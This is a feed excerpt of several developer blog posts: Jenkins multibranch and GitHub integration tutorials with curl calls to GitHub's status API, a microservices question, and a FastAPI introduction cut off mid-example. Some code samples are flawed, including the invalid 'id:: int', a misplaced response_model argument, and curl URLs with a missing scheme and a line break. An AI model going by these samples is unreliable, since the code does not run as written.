      <pubDate>Sun, 15 Sep 2019 15:12:28 +0000</pubDate>
      <link>https://dev.to/errietta/making-jenkins-behave-2-electric-boogaloo-12l0</link>
      <guid>https://dev.to/errietta/making-jenkins-behave-2-electric-boogaloo-12l0</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Faav0j907623wnqa3oquk.png" class="article-body-image-wrapper"&gt;&lt;img alt="Jenkins Being All Formal" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Faav0j907623wnqa3oquk.png" width="800" height="997"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That’s right, as promised, I’m going to torture myself with Jenkins some more, this time with multi-branch pipelines!&lt;/p&gt;

&lt;p&gt;If you missed it, I recently wrote a blog post in which I explained &lt;a href="//www.errietta.me/blog/jenkins-github-integration/"&gt;how to integrate Jenkins and Github with freestyle jobs.&lt;/a&gt; In that post, I stipulated that were I able to use Multi-Branch pipelines, my life would have been much easier. Well, it’s true. Sort of. Multi-branch pipelines, &lt;strong&gt;once you get them working&lt;/strong&gt; are much, much better than freestyle jobs. As you may have guessed, the problem is the initial setup&lt;strong&gt;, because Jenkins has incredibly cryptic error messages.&lt;/strong&gt; Thanks pals.&lt;/p&gt;

&lt;p&gt;Anyway, I’ve figured it out so you don’t have to, so let’s get started!&lt;/p&gt;

&lt;p&gt;The first thing you want to do is set up your github user account and repository, before you even touch Jenkins. Unlike last time, where the order of things didn’t matter , this time it’s extremely important if you want everything to go smoothly.&lt;/p&gt;

&lt;p&gt;Navigate to your &lt;a href="//github.com/settings/tokens"&gt;personal access tokens settings&lt;/a&gt; on Github. You want to create a token with the following permissions:&lt;br&gt;&lt;em&gt;&lt;code&gt;admin:org_hook, admin:repo_hook, repo, user:email&lt;/code&gt;&lt;/em&gt;&lt;br&gt;They’re a bit more powerful than last time, but that does mean that Jenkins can set up the repo hooks for you so you don’t have to.&lt;/p&gt;

&lt;p&gt;Now go to your repository and create a Jenkinsfile. That’s right, we’re creating the CI/CD pipeline before we’ve even touched Jenkins at all. This is because if Jenkins doesn’t find a Jenkinsfile, it pretends that your credentials are wrong and sends you on a wild goose chase, even if they’re absolutely fine. So just pick one of the &lt;a href="//jenkins.io/doc/pipeline/tour/hello-world/"&gt;hello world examples&lt;/a&gt; – it really doesn’t matter what, and all they do is display a version string, but you really want a valid Jenkinsfile.&lt;/p&gt;

&lt;p&gt;Now go to Jenkins and click &lt;strong&gt;create new job&lt;/strong&gt; or &lt;strong&gt;new item&lt;/strong&gt;, and select &lt;strong&gt;multi-branch pipeline&lt;/strong&gt;. Coincidentally, if this is the first time you’ve ran Jenkins, you might get an infinite loading screen. If that happens, just turn it off and back on again.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F43makafyyk0e7mo27fkp.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F43makafyyk0e7mo27fkp.gif" alt="have you tried turning it off and on again" width="500" height="275"&gt;&lt;/a&gt;“Hello, IT, have you tried turning it off and on again?”&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Click the “add source” dropdown and select Github.&lt;/li&gt;
&lt;li&gt;Within credentials, click ‘add’ and select ‘Jenkins’.&lt;/li&gt;
&lt;li&gt;Keep Kind as ‘username with password. &lt;/li&gt;
&lt;li&gt;As username, enter your github username&lt;/li&gt;
&lt;li&gt;As password, enter the access token from earlier. If you’ve lost it, like I have, you can just regenerate it provided it’s not being used anywhere else.&lt;/li&gt;
&lt;li&gt;Under repository https url enter the url of your repository, which can be a private repo.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now if you click apply and save, your github repo should have a new webhook!&lt;/p&gt;

&lt;p&gt;If it’s worked so far, you may be tempted to click on “Scan repository now”. Bad idea. It won’t work, and it will confuse you.&lt;/p&gt;

&lt;p&gt;What you ACTUALLY have to do, is commit a change to master (or whatever branch has the Jenkinsfile). If you do that, and wait a minute, it should automatically build!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F8hj3u4ijig0d20b55pnz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F8hj3u4ijig0d20b55pnz.png" alt="" width="691" height="277"&gt;&lt;/a&gt;Jenkins showing the branches&lt;/p&gt;

&lt;p&gt;The commit on Github will also be updated to show success or failure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fvy2417n23lnhcre1p2sm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fvy2417n23lnhcre1p2sm.png" alt="Github commit updates" width="800" height="146"&gt;&lt;/a&gt;Github commit updates&lt;/p&gt;

&lt;p&gt;You’ll also see PR status!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fmavzofyf4x6e8ke44rzd.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fmavzofyf4x6e8ke44rzd.jpg" alt="PR status is shown" width="667" height="278"&gt;&lt;/a&gt;PR status is shown&lt;/p&gt;

&lt;p&gt;As you can see, Multi-branch pipelines are already much easier to work with! I just wish Jenkins weren’t so cryptic – I wasted way too much time thinking it wasn’t working because I either hadn’t given it enough permissions, or I thought scanning was supposed to work.&lt;/p&gt;

&lt;p&gt;Hope you have found this informative! Maybe next time I’ll dive deeper into multi-branch pipelines and build something cool!&lt;/p&gt;
             

</description>
      <category>jenkins</category>
      <category>ci</category>
      <category>cd</category>
      <category>github</category>
    </item>
    <item>
      <title>Making Jenkins and Github ACTUALLY integrate with each other</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Thu, 22 Aug 2019 14:31:20 +0000</pubDate>
      <link>https://dev.to/errietta/making-jenkins-and-github-actually-integrate-with-each-other-4kgk</link>
      <guid>https://dev.to/errietta/making-jenkins-and-github-actually-integrate-with-each-other-4kgk</guid>
      <description>&lt;p&gt;&lt;a href="//jenkins.io/images/logos/fire/256.png" class="article-body-image-wrapper"&gt;&lt;img src="//jenkins.io/images/logos/fire/256.png" alt="An alternative of the jenkins logo where the mascot is on fire" class="wp-image-841"&gt;&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;You may need to build jenkins jobs when branches/PRs are made from within the repository – say, to run tests. You may also want to report on the test status when finished. And you may have found doing this quite frustrating. If these things are true, join me on a journey…&lt;/p&gt;

&lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;For a work project, I needed to integrate Jenkins tests with Github repositories. Basically, we make pull requests from branches within the repository against master, and then merge them when review and testing passes. For running automated tests, we use Jenkins, and so we want to be able to trigger the jenkins job when a PR is created and also change the PR check status to passed or failed depending on the results.&lt;/p&gt;

&lt;h2&gt;Assumptions&lt;/h2&gt;

&lt;p&gt;There are many different ways of doing these things, so it’s quite important that I list my assumptions early on so that you don’t waste your time reading a blog post that doesn’t actually help you. These assumptions held true for the case that I wanted to solve, and your circumstances may well be different.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You don’t use Jenkins multibranch pipelines – if you do, certain things will be easier, but there still may be information here that helps you.&lt;/li&gt;
&lt;li&gt;You want to build PRs from branches within the same repository (as is the case for most private/corporate projects) rather than PRs from forks (as is the case for most FOSS projects).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Requirements&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;2GB of RAM or more, Jenkins is very memory hungry…&lt;/li&gt;
&lt;li&gt;A Jenkins installation – if you’re like me and don’t want to experiment on your company’s actual Jenkins install, it may be smart to invest in a  Linux box such as a DigitalOcean, AWS, Linode, or other cloud provider virtual machine.

Since it needs to be able to receive Github webhooks, it has to be accessible from the Internet, or from wherever you’re hosting your Github Enterprise instance. Thus, you unfortunately most likely can’t get away with just playing with this on a local VM or docker container – sorry! But some of the cloud providers mentioned above have hourly pricing, so it shouldn’t cost you too much.&lt;/li&gt;
&lt;li&gt;A Github project that you want to integrate with, duh!&lt;/li&gt;
&lt;li&gt;A way to relax (trust me, you’ll need it…)&lt;/li&gt;
&lt;li&gt;A lot of patience&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Setup&lt;/h2&gt;

&lt;h3&gt;Github Access&lt;/h3&gt;

&lt;p&gt;The first step is setting up Github settings in a way that allow Jenkins to update PR status. Technically, it doesn’t matter if you do this step or the next step first, but it’s part of laying down the groundwork for later. Unfortunately, as much as we try to group things that need to be done in Github and Jenkins separately, we’ll need to go between the two platforms quite a lot, so get ready for that.&lt;/p&gt;

&lt;p&gt;Having said that, I’ll try to put as many things that are done on a single platform together as physically possible, so if something doesn’t make sense right away, don’t worry, it’ll all come together eventually. I hope.&lt;/p&gt;

&lt;h4&gt;Make a user with write access&lt;/h4&gt;

&lt;p&gt;First, make sure you have a user with &lt;strong&gt;write access&lt;/strong&gt; to your repository that you can use for this. Don’t worry, we won’t end up allowing Jenkins to have full write access, but due to how Github works this is required. You can use an already existing user or make a new one and you can lock it down as much as you feel you need to to make sure it’s safe.&lt;/p&gt;

&lt;h4&gt;Create a personal access token&lt;/h4&gt;

&lt;p&gt;Personal access tokens allow access to the Github API by using a token instead of your username and password. In addition to this, they can be locked down to only have the permissions that are absolutely necessary. As such, this is one of the safest ways to integrate with any service.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to Github Settings (Accessible by clicking on your avatar on the top right)&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;developer settings&lt;/strong&gt; near the bottom.&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;personal access tokens&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;generate new token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;For this, the only required scope is “&lt;strong&gt;repo:status&lt;/strong&gt;“. This means that the token that you are generating can be used to &lt;strong&gt;update commit status&lt;/strong&gt;, but can’t be used for anything else.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Save the token somewhere, you won’t be able to get it again&lt;/strong&gt;. We’ll need it again later on in the post to set up Jenkins integration.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Jenkins plugins &amp;amp; setup&lt;/h3&gt;

&lt;p&gt;Now that that’s done, we need to do the groundwork to allow Github to trigger Jenkins builds, so let’s head over to our jenkins install for this next step.&lt;/p&gt;

&lt;p&gt;For this task, you just need the &lt;strong&gt;Github plugin&lt;/strong&gt; for Jenkins. This provides a webhook URL, which is &lt;code&gt;&amp;lt;YOUR_JENKINS_INSTANCE_URL/github-webhook&amp;gt;&lt;/code&gt;. You can visit that URL manually to see if it works; if you see “Method POST required” then it’s already set up.&lt;/p&gt;

&lt;h2&gt;Integration&lt;/h2&gt;

&lt;p&gt;Now that you have Github access set up and the Jenkins plugin installed, it’s go time!&lt;/p&gt;

&lt;h3&gt;Create Jenkins job&lt;/h3&gt;

&lt;p&gt;If you already have the job you want to use, you can edit it so that it matches these settings instead.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to your Jenkins install&lt;/li&gt;
&lt;li&gt;Click ‘&lt;strong&gt;create item&lt;/strong&gt;‘&lt;/li&gt;
&lt;li&gt;Click ‘&lt;strong&gt;freestyle project’&lt;/strong&gt; – once again we’re assuming you’re not using pipelines. If you are, then your life is much easier.&lt;/li&gt;
&lt;li&gt;Tick &lt;strong&gt;github project&lt;/strong&gt; and add your project URL&lt;/li&gt;
&lt;li&gt;Add the repository in &lt;strong&gt;source code management&lt;/strong&gt; – this requires either the credentials of a user with at least read-only access, or for your repository to be public.&lt;/li&gt;
&lt;li&gt;Leave &lt;strong&gt;branches to build&lt;/strong&gt; blank so you can build PR branches.&lt;/li&gt;
&lt;li&gt;Select at least the &lt;strong&gt;‘GitHub hook trigger for GITScm polling’&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Add a &lt;strong&gt;build step&lt;/strong&gt; that runs your tests; I’ll leave this one to you.&lt;/li&gt;
&lt;li&gt;Click ‘save’ for now; we will need to make more edits later, but it’s good to get the base case working first.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Trigger Jenkins builds from Github&lt;/h3&gt;

&lt;p&gt;Remember the github-webhook URL from earlier? It’s that url’s time to shine. Time to add it as a webhook in our github repo, so that it triggers builds.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to &lt;strong&gt;settings&lt;/strong&gt; within your github repo&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;Webhooks&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Put the &lt;strong&gt;payload URL&lt;/strong&gt; as the URL from earlier, e.g. &lt;code&gt;YOUR_JENKINS_INSTANCE_URL/&amp;lt;github-webhook&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Select “send me &lt;strong&gt;everything&lt;/strong&gt;“. I’m not sure it’s required but it really doesn’t matter.&lt;/li&gt;
&lt;li&gt;Save the webhook.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, make a PR with at least one commit. If all goes well, you should see the job build in jenkins:&lt;/p&gt;

&lt;p&gt;&lt;a href="//www.errietta.me/blog/wp-content/uploads/2019/08/image.png" class="article-body-image-wrapper"&gt;&lt;img src="//www.errietta.me/blog/wp-content/uploads/2019/08/image.png" alt="" class="wp-image-847"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If it doesn’t go well, click ‘&lt;strong&gt;Github Hook Log&lt;/strong&gt;‘ and hope that you can diagnose the problem. If not, you may need your &lt;strong&gt;patience &lt;/strong&gt;and &lt;strong&gt;ways of relaxing&lt;/strong&gt; from the &lt;strong&gt;Requirements&lt;/strong&gt; section, plus a heavy dose of &lt;strong&gt;StackOverflow.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At this stage, github won’t report the job status. This is normal! We’ll fix this in the next step!&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;Reporting the job status&lt;/h3&gt;

&lt;p&gt;I’d advise taking a break at this point, because this is by far the most frustrating step.&lt;/p&gt;

&lt;p&gt;Welcome back! Hopefully you’ve had a long meditation session/drink/whatever keeps you sane when doing really annoying things.&lt;/p&gt;

&lt;p&gt;Now it’s time to get to the final and most frustrating part of the process – actually updating GH build status. Are you ready?&lt;/p&gt;

&lt;h4&gt;Creating a jenkins secret to store the token&lt;/h4&gt;

&lt;p&gt;Did you save the token earlier? No? Don’t worry, you can just make another. Now that you have a token, time to store it securely* in Jenkins.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;*&lt;/code&gt; They’re encrypted but can be decrypted if someone has access to the jenkins instance. Hopefully, you’ve secured it, right?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Click &lt;strong&gt;credentials&lt;/strong&gt; from the home page&lt;/li&gt;
&lt;li&gt;Click on the credential store where you want to store it. If you have no idea what that means (I sure don’t), click on the ‘Jenkins’ store.&lt;/li&gt;
&lt;li&gt;Click on the domain, such as “global credentials”&lt;/li&gt;
&lt;li&gt;Click on “add credentials”&lt;/li&gt;
&lt;li&gt;Kind is “secret text”&lt;/li&gt;
&lt;li&gt;The secret is your token from earlier.&lt;/li&gt;
&lt;li&gt;Select a meaningful id and description&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Add the secret to your job&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Go back to your jenkins job and click on ‘configure’, which is conveniently placed right next to the ‘delete job’ button, which you don’t want to accidentally click.&lt;/li&gt;
&lt;li&gt;Within “Build environment”, check &lt;strong&gt;Use secret text(s) or file(s)&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;In bindings, select ‘secret text’. This should expand a new dialog.&lt;/li&gt;
&lt;li&gt;In variable, type in the name of the environment variable you want to use, such as GH_TOKEN&lt;/li&gt;
&lt;li&gt;Select “Specific Credentials” and select the id of the secret you made in the previous step&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Report status to github&lt;/h4&gt;

&lt;p&gt;Now, it’s time for the true task! Report the status back to Github. While still on the same configure page, it’s time to tweak the build job slightly.&lt;/p&gt;

&lt;p&gt;Put the following &lt;strong&gt;before&lt;/strong&gt; running your test command, to set the status as pending:&lt;/p&gt;

&lt;pre class="wp-block-code"&gt;&lt;code&gt;export REPO_NAME='YOUR_REPO_NAME'
export JOB_NAME='YOUR_JOB_NAME'


curl "//api.GitHub.com/repos/$REPO_NAME/statuses/$GIT_COMMIT
      ?access_token=$GH_TOKEN" \
-H "Content-Type: application/json" \
-X POST \
-d "{
    \"state\": \"pending\",
    \"context\": \"jenkins/$REPO_NAME\",
    \"description\": \"Jenkins\",
    \"target_url\": \"//YOUR_JENKINS_URL/job/$JOB_NAME/$BUILD_NUMBER/console\"
}"&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will set your git commit to pending!&lt;/p&gt;

&lt;p&gt;Now, because we’re not using pipelines, and because you don’t want the job to stop if it fails, you need to change your test command. So if your command is, say, &lt;code&gt;bash test.sh&lt;/code&gt;, you need to change it thusly, so that you capture if it succeeds or not. &lt;strong&gt;This makes the assumption that your command will return a non-zero status if it fails, &lt;/strong&gt;which is true for most test frameworks.&lt;/p&gt;

&lt;p&gt;First &lt;code&gt;export TEST_ERROR=0&lt;/code&gt;, we’ll use this to store the error if any&lt;/p&gt;

&lt;p&gt;Change your command from &lt;code&gt;bash test.sh&lt;/code&gt; to &lt;code&gt;bash test.sh || TEST_ERROR=$?&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, when you want to report the status, you can check if we caught an error or not:&lt;/p&gt;

&lt;pre class="wp-block-code"&gt;&lt;code&gt;if [ $TEST_ERROR -eq 0 ] ; then
    curl "//api.GitHub.com/repos/$REPO_NAME/statuses/$GIT_COMMIT
          ?access_token=$GH_TOKEN" \
    -H "Content-Type: application/json" \
    -X POST \
    -d "{
        \"state\": \"success\",
        \"context\": \"jenkins/$REPO_NAME\",
        \"description\": \"Jenkins\",
        \"target_url\": \"//YOUR_JENKINS_URL/job/$JOB_NAME/$BUILD_NUMBER/console\"
    }"
else
    curl "//api.GitHub.com/repos/$REPO_NAME/statuses/$GIT_COMMIT?access_token=$GH_TOKEN" \
    -H "Content-Type: application/json" \
    -X POST \
        -d "{
        \"state\": \"failure\",
        \"context\": \"jenkins/$REPO_NAME\",
        \"description\": \"Jenkins\",
        \"target_url\": \"//YOUR_JENKINS_URL/job/$JOB_NAME/$BUILD_NUMBER/console\"
    }"


    exit $TEST_ERROR
fi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will run a hook to update to success or failure, depending on the value of &lt;code&gt;$TEST_ERROR&lt;/code&gt;. It’ll also exit with a non-zero status if there was a failure before, telling jenkins to record the failure as well.&lt;/p&gt;

&lt;h2&gt;That’s it!&lt;/h2&gt;

&lt;p&gt;If you’ve done everything right, you should see the status reported to GH, either success or failure:&lt;/p&gt;

&lt;p&gt;&lt;a href="//www.errietta.me/blog/wp-content/uploads/2019/08/image-1.png" class="article-body-image-wrapper"&gt;&lt;img src="//www.errietta.me/blog/wp-content/uploads/2019/08/image-1.png" alt="" class="wp-image-849"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="//www.errietta.me/blog/wp-content/uploads/2019/08/image-3.png" class="article-body-image-wrapper"&gt;&lt;img src="//www.errietta.me/blog/wp-content/uploads/2019/08/image-3.png" alt="" class="wp-image-851"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Congratulations! After much pain, you have a working integration. &lt;/p&gt;

&lt;h2&gt;Further steps&lt;/h2&gt;

&lt;ul&gt;&lt;li&gt;You &lt;strong&gt;probably&lt;/strong&gt; want to look into jenkins multibranch pipelines so you can at the very least programmatically act on build status without having to write a hacky shell script.&lt;/li&gt;&lt;/ul&gt;

&lt;h2&gt;Thanks&lt;/h2&gt;

&lt;p&gt;Thanks to the blog posts &lt;a href="//dzone.com/articles/adding-a-github-webhook-in-your-jenkins-pipeline"&gt;“adding a github webhook in your jenkins pipeline”&lt;/a&gt; and&lt;a href="//applitools.com/blog/how-to-update-jenkins-build-status-in-github-pull-requests-step-by-step-tutorial?utm_referrer=//www.google.com/"&gt; “how to update jenkins build status in github”&lt;/a&gt;, which were extremely helpful to me. Even though I couldn’t directly replicate what they did, my solution is really a Frankenstein’s monster-style stitch up of both of them, so yay for them.&lt;/p&gt;

&lt;p&gt;Thanks for the wonderful folks at the &lt;a href="//jenkins.io/artwork/"&gt;jenkins artwork page&lt;/a&gt; for the image used as a featured image for this post. As much as I complain about jenkins, it’s probably one of the most powerful CI tools I’ve ever used.&lt;/p&gt;

&lt;p&gt;And thank you for reading! Let me know if you want me to make myself suffer further by making a write-up about multi branch pipelines! I’m sure watching me attempt to write Groovy will be amusing to someone…&lt;/p&gt;

&lt;p&gt;And apologies if this post seems more passive-aggressive than my usual style, but to my defense this was a real adventure…&lt;/p&gt;
            

</description>
      <category>jenkins</category>
      <category>github</category>
      <category>integration</category>
      <category>pullrequest</category>
    </item>
    <item>
      <title>Share your thoughts on microservices</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Thu, 20 Jun 2019 08:14:37 +0000</pubDate>
      <link>https://dev.to/errietta/share-your-thoughts-on-microservices-hn0</link>
      <guid>https://dev.to/errietta/share-your-thoughts-on-microservices-hn0</guid>
      <description>&lt;p&gt;Hi everyone!&lt;/p&gt;

&lt;p&gt;I was just wondering what other people who work with microservices do to make sure everything gets done right.&lt;/p&gt;

&lt;p&gt;More specifically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If say two services try to modify the same data at the same time, how do you prevent that? e.g. Using Redis as a fast cache to have a distributed lock?&lt;/li&gt;
&lt;li&gt;If for example you want to reduce a user's balance then decrease an inventory amount (assuming those are different services), what do you do if two people are trying to buy the last item? What if a person tries to buy something twice?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Any good reads on distributed systems like that?&lt;/p&gt;

&lt;p&gt;Thanks&lt;/p&gt;

</description>
      <category>qanda</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Introduction to the fastapi python framework</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Thu, 30 May 2019 20:20:35 +0000</pubDate>
      <link>https://dev.to/errietta/introduction-to-the-fastapi-python-framework-2n10</link>
      <guid>https://dev.to/errietta/introduction-to-the-fastapi-python-framework-2n10</guid>
      <description>&lt;p&gt;I have been working on a new python-based API recently, and on a colleague's suggestion we decided to use &lt;a href="//fastapi.tiangolo.com/features/"&gt;fastapi&lt;/a&gt; as our framework.&lt;/p&gt;

&lt;p&gt;Fastapi is a python-based framework which encourages documentation using Pydantic and OpenAPI (formerly Swagger), fast development and deployment with Docker, and easy tests thanks to the Starlette framework, which it is based on.&lt;/p&gt;

&lt;p&gt;It provides many goodies such as automatic OpenAPI validation and documentation without adding loads of unneeded bloat. In my opinion, it's a good balance between not providing any built-in features and providing too many.&lt;/p&gt;

&lt;h2&gt;Getting started&lt;/h2&gt;

&lt;p&gt;Install fastapi, and a ASGI server such as uvicorn:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;* Make sure you're using python 3.6.7+; if &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;pip&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; and &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;python&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; give you a version of python 2 you may have to use &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;pip3&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; and &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;python3&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;. Alternatively &lt;/strong&gt;&lt;a href="//www.errietta.me/blog/installing-getting-started-python/"&gt;&lt;strong&gt;check out my post on getting started with python.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;pip install fastapi uvicorn&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And add the good old "hello world" in the &lt;code&gt;main.py&lt;/code&gt; file:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;from fastapi import FastAPI

app = FastAPI()


@app.get("/")
def home():
    return {"Hello": "World"}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Running for development&lt;/h3&gt;

&lt;p&gt;Then to run for development, you can run &lt;code&gt;uvicorn main:app --reload&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That's all you have to do for a simple server! You can now check &lt;a href="//localhost:8000/%20"&gt;//localhost:8000/ &lt;/a&gt;to see the "homepage". Also, as you can see, the JSON responses "just work"! You also get Swagger UI at &lt;a href="//localhost:8000/docs"&gt;//localhost:8000/docs&lt;/a&gt; 'for free'.&lt;/p&gt;

&lt;h2&gt;Validation&lt;/h2&gt;

&lt;p&gt;As mentioned, it's easy to validate data (and to generate the Swagger documentation for the accepted data formats). Simply add the &lt;code&gt;Query&lt;/code&gt; import from fastapi, then use it to force validation:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;from fastapi import FastAPI, Query


@app.get('/user')
async def user(
    *,
    user_id: int = Query(..., title="The ID of the user to get", gt=0)
):
  return { 'user_id': user_id }&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first parameter, &lt;code&gt;...&lt;/code&gt;, is the default value, provided if the user does not provide a value. If set to &lt;code&gt;None&lt;/code&gt;, there is no default and the parameter is optional. In order to have no default and for the parameter to be mandatory, &lt;a href="//docs.python.org/3/library/constants.html#Ellipsis"&gt;Ellipsis&lt;/a&gt;, or &lt;code&gt;...&lt;/code&gt; is used instead.&lt;/p&gt;

&lt;p&gt;If you run this code, you'll automatically see the update on swagger UI:&lt;/p&gt;

&lt;p&gt;&lt;a href="//www.errietta.me/blog/wp-content/uploads/2019/05/Screenshot-2019-05-21-at-12.59.30.png" class="article-body-image-wrapper"&gt;&lt;img src="//www.errietta.me/blog/wp-content/uploads/2019/05/Screenshot-2019-05-21-at-12.59.30.png" alt=""&gt;&lt;/a&gt;Swagger UI allows you to see the new /user route and request it with a specific user id&lt;/p&gt;

&lt;p&gt;If you type in any user id, you'll see that it automatically executes the request for you, for example &lt;a href="//localhost:8000/user?user_id=1"&gt;//localhost:8000/user?user_id=1&lt;/a&gt;. In the page, you can just see the user id echoed back!&lt;/p&gt;

&lt;p&gt;If you want to use path parameters instead (so that it's &lt;code&gt;/user/1&lt;/code&gt;, all you have to do is import and use &lt;code&gt;Path&lt;/code&gt; instead of &lt;code&gt;Query&lt;/code&gt;. You can also combine the two&lt;/p&gt;

&lt;h3&gt;Post routes&lt;/h3&gt;

&lt;p&gt;If you had a &lt;code&gt;POST&lt;/code&gt; route, you just define the inputs like so&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;@app.post('/user/update')
async def update_user(
    *,
    user_id: int,
    really_update: int = Query(...)
):
    pass&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can see in this case &lt;code&gt;user_id&lt;/code&gt; is just defined as an int without &lt;code&gt;Query&lt;/code&gt; or &lt;code&gt;Path&lt;/code&gt;; that means it'll be in the POST request body. If you're accepting more complex data structures, such as JSON data, you should look into &lt;a href="//fastapi.tiangolo.com/tutorial/body/#import-pydantics-basemodel"&gt;request models&lt;/a&gt;. &lt;/p&gt;

&lt;h2&gt;Request and Response Models&lt;/h2&gt;

&lt;p&gt;You can document and declare the request and response models down to the detail with Pydantic models. This not only allows you to have automatic OpenAPI documentation for all your models, but also validates both the request and response models to ensure that any POST data that comes in is correct, and also that the data returned conforms to the model.&lt;/p&gt;

&lt;p&gt;Simply declare your model like so:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;from pydantic import BaseModel


class User(BaseModel):
    id:: int
    name: str
    email: str&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then, if you want to have a user model as input, you can do this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;async def update_user(*, user: User):
    pass&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Or if you want to use it as output:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;@app.get('/user')
async def user(
    *,
    user_id: int = Query(..., title="The ID of the user to get", gt=0),
    response_model=User
):
  my_user = get_user(user_id)
  return my_user
